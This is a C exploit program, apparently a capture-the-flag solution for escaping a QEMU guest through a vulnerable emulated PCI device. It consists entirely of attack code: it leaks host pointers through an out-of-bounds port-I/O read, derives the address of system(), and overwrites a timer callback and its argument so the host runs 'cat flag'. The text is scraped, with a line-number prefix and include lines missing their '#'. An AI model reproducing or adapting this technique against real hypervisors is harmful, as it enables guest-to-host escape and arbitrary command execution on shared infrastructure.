1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| include <assert.h> include <fcntl.h> include <inttypes.h> include <stdio.h> include <stdlib.h> include <string.h> include <sys/mman.h> include <sys/types.h> include <unistd.h> include<sys/io.h> unsigned char* mmio_mem; uint32_t pmio_base=0xc050; void die(const char* msg) { perror(msg); exit(-1); } void mmio_write(uint32_t addr, uint32_t value) { *((uint32_t*)(mmio_mem + addr)) = value; } uint32_t mmio_read(uint32_t addr) { return *((uint32_t*)(mmio_mem + addr)); } void pmio_write(uint32_t addr, uint32_t value) { outl(value,addr); } uint32_t pmio_read(uint32_t addr) { return (uint32_t)inl(addr); } uint32_t pmio_arbread(uint32_t offset) { pmio_write(pmio_base+0,offset); return pmio_read(pmio_base+4); } void pmio_abwrite(uint32_t offset, uint32_t value) { pmio_write(pmio_base+0,offset); pmio_write(pmio_base+4,value); } int main(int argc, char *argv[]) { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); mmio_mem = (char*)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed"); printf("mmio_mem @ %p\n", mmio_mem); if (iopl(3) !=0 ) die("I/O permission is not enough"); uint64_t timer_list_addr = pmio_arbread(0x10c); timer_list_addr = timer_list_addr << 32; timer_list_addr += pmio_arbread(0x108); printf("[+] leak timer_list addr: 0x%lx\n", timer_list_addr); uint64_t cb_addr = pmio_arbread(0x114); cb_addr = cb_addr << 32; cb_addr += pmio_arbread(0x110); uint64_t text_base = cb_addr - 0x29ac8e; uint64_t system_addr = text_base + 0x200D50; printf("[+] leak cb addr: 0x%lx\n", cb_addr); printf("[+] text base: 0x%lx\n", text_base); printf("[+] system addr: 0x%lx\n", system_addr); uint64_t opaque_addr = pmio_arbread(0x11c); opaque_addr = opaque_addr << 32; opaque_addr += pmio_arbread(0x118); printf("[+] leak opaque addr: 0x%lx\n", opaque_addr); uint64_t para_addr = opaque_addr + 0xb04; pmio_abwrite(0x118, para_addr & 0xffffffff); mmio_write(12,0x20746163); mmio_write(16, 0x67616c66); pmio_abwrite(0x110, system_addr & 0xffffffff); printf("[+] flag: \n");
}
|